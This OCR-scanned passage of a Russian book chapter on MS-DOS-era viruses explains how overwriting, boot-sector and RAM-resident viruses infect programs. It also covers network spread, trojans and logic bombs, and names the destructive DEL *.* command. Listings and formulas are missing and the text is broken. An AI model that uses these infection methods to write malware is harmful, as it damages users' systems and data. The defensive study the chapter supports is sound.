Перезаписывающие вирусы Наиболее простым с точки зрения их программной реализации являются пе резаписывающие вирусы. Программы-вирусы такого вида уже были кратко описаны ранее. Характерным признаком этих вирусов является их разрушающее действие. Вычислительные системы, программы которых заражены вирусом такого рода, вы ходят из строя в самое короткое время ("острая инфекция"). Если за определение перезаписывающих вирусов принять разрушение про граммных кодов основной программы, не позволяющих их реконструировать, то с помощью перезаписывающих вирусов оказывается невозможным распространение "инфекции" на все работающие в "зараженной" системе программы: поскольку поль зователь быстро обнаружит, что "здесь что-то не так". Правда, чаще всего предпола гают, что ошибка связана со сбоем в аппаратуре, поскольку постоянно выдаются все новые сообщения об ошибке. Для отражения процесса распространения "инфекции" пригодна та же схема, что приводилась ранее. Единственное отличие — добавлено задание на обработку MAN (манипуляции). К — Байт идентификатора вируса VIR — Ядро вируса MAN —Задание на обработку (манипуляции, выполняемые вирусом) Для защиты от самопроизвольного распространения вирусов сознательно ин фицируйте некоторую программу. Такое "направленное" заражение необходимо, что бы уже при запуске базовой программы не встретиться с сообщением об ошибке. Если такая программа запущена, то вначале обрабатывается стоящая в нача ле программы часть вируса. Байт идентификатора "К" в этом случае образуется с по мощью характерного для данного вируса команды безусловного перехода или с помощью "нулевой операции". Теперь ядро вируса активно и начинает свою разру шительную работу.
Вирус просматривает достижимую для исполняемых программ массовую па мять. В этом случае вирус разрушает вторую прикладную программу. Теперь в опе ративной памяти сохраняется некая малая часть второй прикладной программы.
59
О сути вирусов Затем можно проверить, есть ли в начале этой программы байт идентификатора "К". Если этот байт идентификатора будет найден, процесс поиска продолжается до тех пор, пока не будет найдена программа без признака вируса "К".
В этой найденной программе (в данном случае вторая прикладная програм ма) перезаписывается первая часть, т.е. вирус уничтожает программные коды основ ной программы, заменяя их собственными кодами.
После того, как собственно процесс распространения "инфекции" будет завершен, выполняется задание на обработку MAN, причем это может быть зада нием на выполнение любого рода операций. После завершения обработки управ ление вновь передается программе-носителю вируса, создавая у пользователя иллюзию безупречной работы программы. Естественно, перезаписывающий ви рус вовсе не обязательно встраивать в программу-носитель. Программа-вирус бы ла бы жизнеспособна и без программы-носителя, но тогда ее было бы значительно легче обнаружить. После завершения процесса занесения "инфекции" программа-носитель вновь может быть удалена из области адресов доступа ЭВМ, поскольку вирус уже пустил корни во второй прикладной программе. Теперь ЭВМ будет работать без сбоев до тех пор, пока не будет запущена вторая программа. При определенных ус ловиях это может продолжаться месяцы или годы, если "инфицированной" ока жется такая редко используемая программа, как скажем, EDLIN. Когда спустя продолжительное время эта программа будет запущена вновь, инфекция будет про должать распространяться, и пользователю будет чрезвычайно сложно найти ис точник инфекции. При запуске инфицированной программы только что описанным способом отыскивается незараженная программа. Первая найденная программа является вто рой прикладной программой. Но там есть идентификатор "К", а потому вирус не за носится и процесс поиска продолжается.
Имеется байт идентификатора К, процесс поиска продолжается. Найдена тре тья прикладная программа, не имеющая идентификатора "К", т.е. вирус внедряется в эту программу. Перед запуском второй инфицированной программы:
После запуска второй инфицированной прикладной программы:
60
О сути вирусов I
После того, как собственно процесс внедрения вируса завершен, выполняет ся задание на выполнение операций любого рода. Лишь теперь непредусмотренные Вами сообщения об ошибках укажут Вам на то, что здесь не все в порядке. Итак, инициатор внедрения вирусов в любом случае достигает своей цели — внедрение за дания на проведение определенных манипуляций. Здесь следует сказать и о том, что приведенные в качестве примеров сегмен ты программы, а также позиция и структура идентификатора "К" для всех вирусов могут, естественно, выглядеть совершенно иначе.
Загрузочные вирусы Бутовые вирусы являются весьма специализированной разновидностью резидентных файловых вирусов. Упрощенно бутовый вирус можно представить себе как специализированный резидентный вирус, который заражает единственный "файл" — загрузочный сектор гибкого или жесткого диска. Четкой границы между резидентными файловыми вирусами и бутовыми вирусами не существует: в послед нее время появились гибриды, сочетающие заражение файлов с заражением бутсектора винчестера. Это подчеркивает близость основных принципов организации этих двух типов вирусов. Этот тип вирусов распространяется, инфицируя дискеты, причем как загру зочные (т.е. содержащие файлы позволяющие производить загрузку компьютера с этой дискеты), так и не загрузочные (т.е. содержащие любую информацию). Зараже ние незагрузочных дискет связано с определенным психологическим расчетом, кото рый, к сожалению, слишком часто оправдывается: при перезагрузке компьютера пользователи обычно забывают дискету в дисководе обозначенном в BlOS'e как си стемный. Поэтому часто перезагрузка выполняется с вставленной в указанный дис ковод дискетой, с которой вирус и попадает на винчестер. Инфицированная дискета всегда содержит часть кода вируса в бутсекторе, поэтому бутовые вирусы легко обнаружить. При просмотре бутсектора дискеты на незараженном компьютере легко видеть изменения загрузчика. Структура стандарт ного загрузчика лишь незначительно меняется от версии к версии MS DOS, поэтому изменения легко выявить визуально (особенно первых трех байтов, содержащих ко манду JMP на начало загрузчика — ЕВ 34 90 — для ранних версий DOS'a) или с по мощью подходящей программы (AVP, Aidstest, Dr. Web и др.). Такая проверка должна обязательно проводиться для всех поступающих дискет. Как уже указывалось, файловые вирусы обычно состоят из одного сегмента. Впрочем, первую команду JMP, подставляемую большинством файловых вирусов, дописывающих свое тело в конец СОМ-файла, можно рассматривать как вырожден ный сегмент. Бутовый вирус всегда состоит из нескольких сегментов. Обычно таких сегментов два и мы будем называть их головой и хвостом.
I
61
О сути вирусов Положение головы бутового вируса на дискете определено однозначно: она всегда расположена в бутсекторе и занимает ровно сектор (512 байт). На винчестере ситуация немного сложнее: голова бутового вируса может располагаться в одном из его двух бутсекторов — главном (MBR — Master Boot Record, расположенный по аб солютному дисковому адресу 0/0/1) или бутсекторе логического диска С, обычно за нимающего первый сектор соответствующего логического диска. Для наиболее распространенных 40 М винчестеров это обычно абсолютный сектор 18 (при 17 сек торах на трек его адрес равен 1/0/1). Хвост бутового вируса может располагаться в разных местах, например, кла стерах, отмеченных на диске как сбойные и тем самым исключенных из дальнейше го распределения (псевдосбойные кластеры), последних физических секторах дискеты или винчестера, поскольку они обычно всегда свободны, в неиспользуемых блоках FAT, главного каталога или одного из подкаталогов, дополнительных дорож ках дискеты или винчестера. В любом случае хвост вируса должен содержать копию оригинального бутсектора, и если она хранится не в закодированном виде, то положение хвоста в боль шинстве случаев можно определить глобальным контекстным поиском по дискете или винчестеру (исключением является случай использования для хвоста дополни тельных дорожек на дискете или винчестере). В минимальном варианте хвост может состоять только из одного сектора с оригинальным бутсектором. Для всех бутовых вирусов механизм заражения однотипен. Когда MS DOS за гружается с зараженного диска, бутовый вирус получает управление и сначала копи рует себя в старшие адреса памяти. Затем он уменьшает размер памяти, заменяя значение вектора прерываний А2п с тем, чтобы защитить резидентную часть вируса, и 13h с тем, чтобы перехватывать обращения к диску. Таким образом, при любом об ращении к диску управление получает обработчик этого прерывания, составляющий основную часть тела вируса. После этих действий вирус запускает стандартный си стемный загрузчик, который загружает IO.SYS и MSDOS.SYS, те. происходит стан дартная загрузка системы. Правда есть одно(!) исключение, но об этом позже, в главе "Загрузочный ви рус с нестандартным алгоритмом активизации", это своего рода загрузочный вирус под Windows 9x. Получив управление по прерыванию по чтению, вирус анализирует, относит ся ли оно к дискете или к винчестеру. Если это прерывание относится к дискете, то сначала вирус проверяет, заражена уже данная дискета или нет. Для этой цели считывается бутсектор и проверяется его содержимое. Если дискета еще не заражена, то вирус заражает дискету, а затем обрабатывает команду READ. В случае, если диске та уже заражена, вирус сразу переходит к обработке команды READ; так же он поIступает в случае, если дискета защищена от записи. Что касается места, в котором бутовый вирус прячет свой хвост, то, как было отмечено выше, оно различается от вируса к вирусу. Наиболее часто бутовые вирусы размещают свой хвост в свободном кластере(ах), который помечается как сбойный. Последнее необходимо для того, чтобы занятый вирусом кластер(ы) не был исполь-
О сути вирусов зован MS DOS при создании нового файла и вместе с тем являлся неплохим методом маскировки, поскольку пользователи обычно плохо представляют структуру диска и не следят за количеством сбойных кластеров на нем. Но так как современные жест кие диски делаются по новейшим технологиям, то это позволяет избежать появления сбойных кластеров. Так что появление такового на диске должно вызывать подозре ние и приводить к тщательнейшей проверке вашего жесткого диска. Еще раз подчеркнем, что бутовые вирусы инфицируют любые дискеты, а не только системные. Как уже указывалось, это связано с тем, что с несистемной диске ты также может выполняться попытка загрузки MS DOS. Чаще всего такая ситуация возникает после зависания операционной системы. Если при перезагрузке инфици рованная дискета окажется в "готовом" дисководе, то естественно, загрузка будет сначала выполняться с нее. В этом случае программа начальной загрузки считывает зараженный BOOT и передает ему управление. Вирус загружает себя в оперативную память и имитирует сообщение, выдаваемое в этом случае стандартным загрузчи ком: Non system disk в случае, если он не хочет сразу рассекретиться или Non F.. .king disk, если ему все равно, когда его обнаружат. При этом, если пользователь вытащит дискету из дисковода и нажмет клави шу Enter (Ввод), то вирус останется в памяти, заразит винчестер ив дальнейшем бу дет заражать все вставляемые дискеты, к которым производится хотя бы одно обращение (достаточно команды DIR). Просто вставленной дискеты недостаточно, Поэтому все россказни о том, что дискета может заразиться вирусом только от того, что ее вставили в дисковод зараженного компьютера, полный бред или плод больной фантазии рассказчика. Все бутовые вирусы перехватывают 13 прерывание (за исклю чением уже упоминавшегося вируса) и поэтому обычно конфликтуют с драйверами, поддерживающими нестандартные форматы (например, 1,8 или 2,4 Мб). В лучшем случае при этом происходит зависание системы или выдача сообщения о делении на нуль. В худшем случае операционная система остается работоспособной, на дискету что-то пишется, но потом ничего прочитать с нее нельзя. Особое внимание стоит об ратить на тот факт, что некоторые бутовые вирусы перехватывают прерывание с кла виатуры, и могут пережить в оперативной памяти мягкую перезагрузку (т.е. перезагрузку с помощью нажатия клавиш Ctrl-Alt-Del). Как уже отмечалось, голова бутового вируса всегда находится в бутсекторе и для контроля дискет на зараженность можно просто просмотреть содержимое бутсектора. В целом даже это не является необходимым. Поскольку подавляющее боль шинство дискет не является загружаемыми, можно профилактически разрушать содержимое бутссктора таких дискет. В частности, там можно хранить информацию о времени и источнике получения дискеты или какие-то указания но ее использова нию. Достаточно разрушить первые три байта бутсектора, чтобы нейтрализовать лю бой бутовый вирус. Это можно сделать с помощью программ Norton Utilitis, PC Tools и DEBUG. Для профилактического разрушения бутсектора можно использовать спе циальную утилиту, например, DEBOOT, которая была создана В.Пономаренко. Следует отметить, что число чисто бутовых известных вирусов намного меньше, чем файловых и, кроме того, скорость их размножения ниже (число дискет
I
63
О сути вирусов заведомо меньше, чем количество файлов на них). В целом, заражение "чистым" бу товым вирусом является признаком беспечности И недостаточной квалификации пользователя в значительно большей степени, чем заражение файловым вирусом. При соблюдении приведенных, выше несложных рекомендаций его можно полно стью исключить. Надо отметить, что за файлово-загрузочными вирусами видятся перспективы современного развития вирмейкерства.
ОЗУ — резидентные вирусы Как уже пояснялось ранее, ОЗУ-резидентные программы компьютерных ви русов "паразитируют" на,самой программе. Находящиеся в оперативной памяти про граммы не перезаписываются данными или другими программами, эта область памяти специальным образом управляется и становится недоступной для других программ. Система после загрузки О ЗУ-резидентной программой ведет себя так, как если бы данной области памяти не существовало. В экстремальном случае при ис пользовании ОЗУ-резидентных программ оперативная память может оказаться пол ностью занятой, после чего MS-DOS выдает сообщение: "Not enough memory...". ("Для программы нет места в памяти"). Перед визовом 03У-резидентных программ оперативная память выглядит та ким образом:
После загрузки ОЗУ-резидентных программ оперативная память выглядит таким образом:
Размещенная в оперативно;! памяти резидентная часть программы может быть активизирована в любой момент при возникновении определенных условий. Например, таким условием может быть прерывание или обращение из некоторой другой программы. Для того, чтобы уяснить себе, каким образом может при этом внедряться ви рус, нужно иметь определенное представление о структуре прерываний процессора 8088 и их применении в MS-DOS. •
О сути вирусов Функции BIOS (Basic Input Output System — базовая система ввода-вывода) находятся в ПЗУ в самой верхней области памяти ЭВМ. Нижняя часть памяти занята под адреса прерываний (таблица векторов). Эти адреса управляются определенными стандартными программами, находящимися в ПЗУ (а частично и в ЗУПВ как часть MS-DOS). Таким способом достигается всемирно известная совместимость работаю щих под управлением MS-DOS ЭВМ. Так как совершенно безразлично, какое аппа ратное обеспечение используется, функции операционной системы реализуются путем генерации прерываний. Затем процессор выбирает из нижней области адрес прерывания (вектор прерываний) соответствующей процедуры прерывания, которые могут быть различными в различных системах. Если теперь вектор некоторого прерывания изменяется (преобразуется), вы зов операционной системы (например, вывод на печать) может изменить свое на правление, переключившись на любую другую программу вывода, резидентную в памяти. Таким же способом можно переключиться с набора символов, не согласую щихся с кодами ASCII, на стандартные коды ASCII. Но и с использованием той же техники можно "перехватить" все обращения к дискете и переключить их на программу-вирус, которая вначале выполнит задачу своего внедрения в систему, затем предусмотренные программой-вирусом манипуля ции и лишь после этого выполнит собственно обращение к дискете, создавая тем са мым видимость безупречной работы. На схеме при нормальном выполнении функций это выглядит примерно так (здесь решающие функции по сравнению с другими схемами сильно расширены):
После установки ОЗУ-резидентной программы-вируса процесс выполнения функций изменится следующим образом (здесь также решающие функции по срав нению с другими схемами сильно расширены):
О сути вирусов
Такие вирусы, как правило, сохраняются в оперативной памяти (если они не запрограммированы иначе) до тех пор, пока не будет выключен компьютер. Если за тем ЭВМ включить вновь, оперативная память будет свободна от вирусов. Но это будет продолжаться лишь до тех пор, пока не будет запущена инфицированная про грамма. При запуске такой программы вирус вновь становится резидентным. Поэто» м у наиболее устойчивые вирусы программируются таким образом, чтобы загружаться в качестве первого сектора начальной загрузки системы или в качестве сектора начальной загрузки процессора команд, что обеспечивает их жизнестойкость.
Вызов программы-вируса Рассмотренные выше типы программ-вирусов имеют один серьезный недо статок — длину. И даже если написать на ассемблере и достаточно компактную про грамму-вирус, занимающую менее 400 байтов, то и эти 400 байтов должны будут где-то отведены под программу (кстати, самый маленький вирус занимает 58 байт Viking.58, а самый маленький троянский модуль 17 байт). Итак, перезаписывающие ирусы разрушают весьма значительную часть программы-носителя, а неперезапиывающие вирусы значительно удлиняют такую программу. Естественно, при после дующем контроле эти изменения обнаруживаются. Тем более, когда для программирования осуществляемых вирусом операций используются языки высоко го уровня, в результате чего объектная программа занимает достаточно много места.
К
66
О сути вирусов Но и здесь есть средства, позволяющие обойти и эти трудности. Программувирус можно значительно сократить, если не связывать с каждым вирусом заново за дание на выполнение определенных операций, а поместить такое задание в массовую память один раз, а вирус запишет в программу-носитель вируса лишь вызов програм мы выполнения таких манипуляций. Вирус можно еще более сократить, поместив готовый вирус однажды в опе ративную память (например, в виде "невидимого файла"), и тогда внедрение вируса состоит лишь из вызова программы-вируса. Правда, это имеет тот недостаток, что при ошибке в программе-вирусе инфицированная программа будет опасно пытаться вызвать вирус. Самые короткие вирусы могут получиться, если удастся программу-вирус по стоянно иметь в оперативной памяти в качестве резидентной. Но и в этом случае код "внедренной инфекции" не может занимать меньше одного байта. Процессор 8088 благодаря своей структуре имеет некоторые особенности в написании программ-вирусов. Например, если в программу встроено прерывание 3 (полушаговое прерывание (СС_16_)), а вектор такого прерывания указывает на рези дентную программу вирус, то удается создать вирус, длина которого уже не имеет особого значения.
О сути вирусов
Сети В сетях персональных ЭВМ имеются многочисленные различия, касающиеся сохранности данных. Так, например, для нескольких дешевых сетей жесткие диски станции можно запрашивать точно так же, как если бы речь шла о винчестере соот ветствующего компьютера. Это означает, что вирусы могут распространяться по всей сети, как если бы это был отдельный компьютер. Другими словами, "выпущен ный" на любой станции сети вирус в кратчайшее время может достичь всех других станций и парализовать всю сеть. Приведенная ниже графическая схема поясняет процесс распространения вируса по сети. Представленная сеть состоит их специали зированной станции и четырех подключенных компьютеров.
На ЭВМ, являющейся узлом 1 сети, запускается программа-вирус. Этот вирус копируется на дисковод с наивысшим приоритетом (со старшим номером дисковода). Для сети таким дисководом является дисковод специализированной станции. Специализированная станция Затем, исходя из спецпроцессора, вирус может распространиться по всем подключенным станциям.
Правда, не все сети построены так примитивно. Профессиональные системы обеспечивают использование различных привилегий пользователей подобно много пользовательским ЭВМ. Так определенные области данных и определенные про граммы могут быть защищены от доступа пользователей с более низким приоритетом. Право на доступ к таким областям имеет так называемый "старший пользователь", т.е. пользователь с наивысшим приоритетом (Администратор или Сизоп (System operator)). He имея статуса "старшего пользователя", вряд ли возможно выйти за пределы отдельной области так, чтобы это осталось незамеченным. Но ес ли пользователь получил статус "старшего", он, совершенно легально, движется в системе и никто этого не замечает. Поскольку получение статуса "старшего пользо вателя" обеспечивается лишь программными средствами, естественно, это можно предусмотреть и в программе-вирусе. Правда, при этом нужно точно знать соответ ствующую сеть. Так называемый "рождественский вирус", распечатка которого приводится ниже, предназначен для использования ЭВМ vm/cms и потому может распростра няться чрезвычайно быстро. В принципе, здесь речь идет не о настоящей программе-вирусе, а скорее о не коем виде передаваемого по цепочке письма. Программа считывает из файлов names и netlog адреса партнеров по коммуникации и в соответствии с форматом передачи данных пересылает себя этому адресу. Там происходит то же самое, т.е. программа вновь возвращается к своему отправителю. Таким образом, в файлах получателей, как правило, содержится и адрес отправителя.
68
О сути вирусов Тот, кто получает такую программу, вначале с помощью текстового редакто ра смотрит, что же он получил.
Записанный в начале программы текст не нуждается в пояснениях:
Просмотр этого текста не отнимет у читателя слишком много времени.
А кто теперь удержится, чтобы не запустить программу, дабы поддержать шутку?
69
О сути вирусов
70
О сути вирусов
Случайно возникающие вирусы Известный специалист по компьютерным вирусам Фред Кохэн уже высказы вал опасения по поводу вероятности случайного возникновения вирусов. Такую ве роятность при благоприятных условиях, т.е. при длине вируса в 1000 бит, когда 50 % всех битов уже установлены правильно, он оценил следующим образом:
К сожалению, Фрэд Кохен не дал обоснования этой оценки. Тогда было бы легче выполнить такой расчет. Вероятно, он исходил из последовательных мутаций отдельного потока битов, чего, однако, на практике никогда не происходит, посколь ку, как правило, программа не может функционировать в полной мере уже после из менения одного единственного бита. Исходить же из 500 следующих друг за другом мутаций совершенно нереально. Важнее ответить, какова вероятность того, что лю бой поток битов, с которым манипулирует "амок" запущенной программы, случайно совпадает с содержимым вируса. Такая вероятность должна сильно отличаться от рассчитанной Кохэном. По скольку очень трудно представить, как приближенным методом получить значение 500!, продолжим наши рассуждения. Если, как и Кохэну, исходить из длины вируса в 1000 бит, то такому вирусу ("поток битов вируса") можно поставить в соответствие некоторое рациональное числовое значение. Такое числовое значение никак не может превысить значение
71
О сути вирусов А
2 1000. С этим выводом согласится всякий, кто хотя бы однажды попытался записать в байтной переменной значение, большее 255. Значит, вероятность того, что в облас ти в 1000 бит точно получим коды вируса, близка к значению, обратному 2-1000. Итак, вероятность случайного возникновения вируса составит:
Это значение однозначно определено путем логических рассуждений. Собст венно при других, условиях и при той же длине битового набора вероятность может оказаться ниже, но никак не выше. Правда, приведенное выше значение достаточно сложно сравнить с приведенным Кохэном значением, поскольку величину 500! очень трудно представить. Ниже будет проверяться следующее утверждение:
Отдельные этапы проверки поясняются. По формуле Стерлинга можно оце нить значение п!:
С учетом этого приближенного значения результат Кохена можно предста вить в таком виде:
72
О сути вирусов
Теперь нужно взять логарифм, чтобы получить нужный результат.
Теперь окончательно установим результат Кохэна:
В противоположность этому значению обратная величина наибольшего из представленного 1000 битами числа такова:
Итак, значение Кохэна отличается от обратной величины 2Л1000 примерно в е 149,4 раза. Это соответствует различию примерно в 764 х 10(64). Насколько вели ка эта разница, можно увидеть, сравнив результат Кохэна со значением 1/2Л1000 по основанию 10: А
N
Л
Обратная величина 2 1000:
О сути вирусов Несмотря на явную колоссальную разницу в значениях, вероятность случай ного возникновения вируса все же пренебрежимо мала. Если сопоставить эту веро ятность со всеми находящимися в данный момент в эксплуатации вычислительными системами, учтя при этом скорость передачи данных, составляющую в среднем 5 Мбит/с соответствуют 4,32*10Л11 переданных битов в день и ЭВМ, работающей при совершенно нереальных предположениях о том, что эта ЭВМ считывает и запи сывает данные непрерывно. Если взять теперь среднюю вероятность возникновения ошибки на 1/10Л10 бит, то получим 4Ъ,2 п двоичных ошибок в день на компьютер. Путем умножения этого результата на число ЭВМ, отвечающих указанным выше спецификациям (оце ненное в 100 миллионов ЭВМ), получим максимум 430,2 миллиона (число с девятью разрядами) двоичных ошибок в день. Естественно, этот результат все еще очень да лек от 2А1000 число с 300 знаками). Итак, утверждение Кохэна, что вирусы не могут образоваться случайным об разом, должно быть этим подтверждено. Но результат будет выглядеть несколько иначе, если производительность средней ЭВМ считать равной I миллиону операций в секунду. Это соответствует 8,64*10А10 операций за день на одну ЭВМ. Если такую производительность использовать для случайной генерации битового набора длиной 1000 бит, то за день могут быть сгенерированы 8,64*10Л10 случайных чисел. Тогда правильный битовый набор был бы найден спустя 10Л290 дней. Если для такой цели использовалось бы 10 миллионов ЭВМ, этот результат был бы получен через 10Л283 дня или спустя
Итак, вероятность генерации вируса путем последовательной мутации пред ставляется практически невозможной. Правда, на практике исходят из несколько дру гих предпосылок. Прежде всего возникает вопрос, сколько битовых наборов длиной в 1000 бит помещается в оперативной памяти (причем должны учитываться и пере крывающиеся области); во-вторых, нужно было уяснить, интерпретируется ли и при каких условиях определенная область оперативной памяти как область выполнимой программы. Ответ на эти вопросы выходит за рамки настоящей книги. Но добавляются и другие факторы: как гласит определение вируса, вирус должен быть программой, которая копирует сама себя в другие программы; следова тельно, вирус должен иметь возможность воссоздавать файлы. Теперь читателю бы ло бы полезно еще раз задуматься над тем, как много его программ имеют возможность воздействовать на файлы и считывать каталоги и данные. Способность изменять данные присуща практически всем программам. Мно гие программы могут к тому же считывать каталоги и файлы. Значит, в таких про граммах уже заложены основные функции вирусов. Для того, чтобы превратить эти программы в вирусы, нужно лишь заново организовать обработку таких программ. Тогда коды программы-вируса (если отказаться от списка команд) могут занимать
74
О сути вирусов менее 50 байтов, а потому программа будет иметь менее 1000 битов. По сути дела ви рус мог бы выглядеть так:
Если эту игрушку еще немного модифицировать и присвоить программам edlin и debuTg новые имена, программу можно еще сократить.
Итак, установленную Кохеном минимальную длину вируса, можно было бы сократить более чем на 60 процентов. Естественно, это лишь пример, но разве кто может утверждать, что изменения одного единственного бита недостаточно, чтобы превратить его программу в вирус. Основные функции, присущие вирусу, имеются практически во всех программах. Следовательно, даже минимальные изменения мо гут привести к фатальным последствиям. Итак: хотя расчеты Кохена, как оказалось, во много десятков раз расходятся с нашими, это не слишком сказывается на утверждении о том, что случайное возник новение вирусов практически невозможно. Правда, это справедливо лишь тогда, ког да начинают с нуля. Если исходить из имеющегося программного обеспечения, в котором, как правило, уже имеются программы для чтения и записи файлов и пр., то нужно признать снижение степени вероятности. Насколько в действительности ве лик шанс получить вирус в результате случайного изменения программы, точно ни как нельзя рассчитать, также никак нельзя рассчитать, также как нельзя точно указать, насколько при известных обстоятельствах (в зависимости от программного окружения) может сократиться произвольно названием Кохеном длина вируса.
Прочие вирусы Теперь, после того как обсуждены наиболее часто встречающиеся при рабо те с MS-DOS типы вирусов, рассмотрим еще несколько более редких их видов. Однако следует сразу же отметить, что приведенные ниже распечатки "не стандартных" вирусов ни в коей мере не претендуют на полноту. Вполне возможно, что в специальных операционных системах, ориентированных на специальное аппа-
75
О сути
вирусов
ратное обеспечение, открываются совершенно новые возможности для программи рования вирусов, что полностью учесть совершенно невозможно. Аппаратные вирусы Эти вирусы внедряются в систему лишь при изменении аппаратного обеспе чения, Например, при замене ПЗУ начальной загрузки. И хотя такие вирусы очень сложно внедряются в систему, избавиться от них еще сложнее, поскольку при пере запуске ЭВМ с новой операционной системой они появляются снова. "Буферизованные" вирусы Вирусы, которые "гнездятся" в буферизованном ЗУПВ, имеют те же отличи тельные признаки, что и аппаратные вирусы, но могут быть устранены путем удале ния буферных батарей. Но нужно учитывать, что вирусы могут появиться вновь через инфицированные программы. Вирусы "жизни и смерти" (Live and Die) Вирусы, которые внедряются в программу за определенное время. По истече нию этого времени они сами удаляются из зараженной программы. Программа после самоудаления из нее вируса, как правило, сохраняет работоспособность. Вирусы Hide and Seek Вирусы, которые сохраняются внутри системы лишь в течение некоторого времени. В качестве "укрытия" могут использоваться, например, буферные области интеллектуальных терминалов. Здесь важно лишь, чтобы существовала возможность выхода из системы и нового входа в нее.
Троянские программы Троянскими программами (троянскими конями) обычно называют програм мы, содержащие скрытый модуль, осуществляющий несанкционированные дейст вия. Эти действия не обязательно могут быть разрушительными, однако практически всегда направлены во вред пользователю. В свою очередь, троянские программы можно разделить на несколько категорий. Троянские программы-вандалы обычно выполняют или имитируют выполне ние какой-нибудь полезной или экзотической функции. При этом в качестве побоч ного эффекта они стирают файлы, разрушают каталоги, форматируют диск и т.д. Иногда разрушительный код встраивается в какую-нибудь известную программу. Чтобы привлечь пользователей, полученная троянская программа-вандал часто мас кируется под новую версию данного программного продукта. С появлением BBS программы, вандалы получили значительное распростра нение. При этом техно-крыса подсовывает программу в один или несколько BBS, пользователи которых затем "попадаются на удочку". В качестве примера троянской программы-вандала можно привести программу SURPRISE ("Сюрприз"). Написан ная на Бейсике, она исполняла команду DEL *.*, а затем выдавала на экран строку "Surprise!". И таких простых и злобных программ создано немало. С их распростра нением запуск новой программы на компьютере стал небезопасной операцией.
76
О сути вирусов Иногда в качестве самостоятельной разновидности троянских программ-ван далов выделяют так называемые логические мины (logic bomb) — скрытые модули, встроенные в ранее разработанную и широко используемую программу. Такой модуль является безвредным до определенного события, при наступлении которого он сраба тывает. Такого рода программы иногда используются уволенными или обиженными сотрудниками как форма мести по отношению к нанимателю. Частный случай логи ческих мин, в которых срабатывание скрытого модуля определяется временем, часто называют минами с часовым механизмом (time bomb). Фактически логические мины являются средством компьютерного саботажа и их создание должно предусматривать уголовную ответственность. Хотя, как указано выше, компьютерный саботаж обычно связан с "местью" обиженных или уволенных программистов своему бывшему рабо тодателю, он может использоваться и как форма конкурентной борьбы. В истории отечественного программирования было несколько "громких" слу чаев компьютерного саботажа. Отечественные газеты сообщали о программисте, ко торый перед своим увольнением встроил в программу, управлявшую главным конвейером Горьковского автомобильного завода, "мину", которая через некоторое время привела к остановке главного конвейера. Программист был выявлен и осуж ден. На Западе, наряду с попытками хищения средств через банковские компьютеры, распространены случаи компьютерного саботажа по отношению к различного рода финансовым системам, вплоть до шифровки базы данных с последующим требова нием выкупа за ключ (программу) расшифровки. Последним известным случаем та кого рода было описанное выше распространение дискеты с информацией о СПИДе, в которой программа управления базой данных была троянской. Программы, обеспе чивающие вход в систему или получение привилегированной функции (режима ра боты) в обход существующей системы полномочий, называют люками (back door). 1юки часто оставляются разработчиками соответствующих компонентов операцион ной системы для того, чтобы завершить тестирование или исправить какую-то ошиб ку, но нередко продолжают существовать и после того, как то, для чего они планировались, завершено или необходимость в нем отпала. Например, в операцион ной системе ОС ЕС широко использовался люк NEWPSW, позволявший программе пользователя получить привилегированный режим, называемый в серии 360/370 ре жимом супервизора, в обход средств контроля операционной системы. Троянские программы могут также использоваться в целях разведки. К рас пространенным программам такого рода относятся программы угадывания паролей. Одной из компонент сетевого вируса Морриса была такая программа, причем, как оказалось, она сумела добиться успеха в значительном числе случаев.
Эффекты, используемые вирусами Как уже указывалось, компьютерные вирусы являются одной из разновидно стей компьютерного вандализма. Вызываемые вирусами эффекты могут быть клас сифицированы по следующим основным категориям:
77
О сути вирусов 1) отказ в выполнении той или иной функции (например, блокирование вирусом комбинации клавиш Ctri+AIt+Del, обеспечивающих перезагрузку системы); 2) выполнение действий, не предусмотренных программой (например, изменение данных в каком-то файле); 3) разрушение отдельных файлов, управляющих блоков или всей файловой систе мы в целом (форматирование диска, удаление файла и т.д.); 4) выдача ложных, раздражающих или отвлекающих сообщений (например, "Скажи бебе" или "Non system disk"); 5) создание звуковых или визуальных эффектов (например, падение букв, замедле ние выполнения программ, проигрывание мелодии, движущийся на экране ром бик и т.д.); 6) инициирование ошибок или сбоев в программе или операционной системе (на пример, переполнение стека), перезагрузка или зависание MS DOS; 7) блокирование доступа к системным ресурсам (разрастание зараженных файлов за счет их многократного повторного заражения, невозможность передать зара женной программе параметров, замедление работы компьютера путем выполне ния холостого цикла из нескольких команд при каждом прерывании таймера); 8) имитация сбоев аппаратуры (перевод части кластеров в "псевдосбойные" на дис кете или винчестере, зависание ЭВМ через некоторое время после перезагрузки операционной системы и т.д.); 9) ускорение износа оборудования или попытки его порчи. Наносимый вирусами ущерб может иметь катастрофический характер (например, уничтожение винче стера) в сочетании с длительным "инкубационным периодом" или, наоборот, ви рус может наносить мелкие, трудно обнаруживаемые повреждения данных, выполняемые достаточно часто. Последние гораздо труднее обнаружить и поэто му, в отличие от распространенного мнения, они намного опаснее массированно го разрушения данных. 10) шифрование информации на винчестере (это происходит вследствие борьбы за выживание, при удалении самого вируса пользователь не сможет воспользовать ся зашифрованными данными). Наиболее уязвимой частью файловой системы DOS является FAT (таблица раз мещения файлов). Если FAT разрушен, то DOS не в состоянии определить местонахож дение того или иного файла, хотя сами файлы не повреждены. Вирус может также выполнять форматизацию некоторых участков диска, содержащих системные данные. Поэтому необходимо достаточно часто дублировать управляющие данные файловой системы на другой, заранее известный участок диска или дискету. Для этой цели, в ча стности, можно использовать Norton Utilities, а также Mirror из пакета PC Shell. На ком пьютерах типа AT данные о конфигурации системы (тип установленного винчестера и др.) хранятся в небольшой энергонезависимой памяти (CMOS). Уничтожение содер жимого CMOS-памяти приводит к невозможности загрузиться с винчестера. Восста новление CMOS требует знания подробных технических данных о винчестере. Поэтому этот тип памяти также является потенциальным объектом атаки вируса.
78
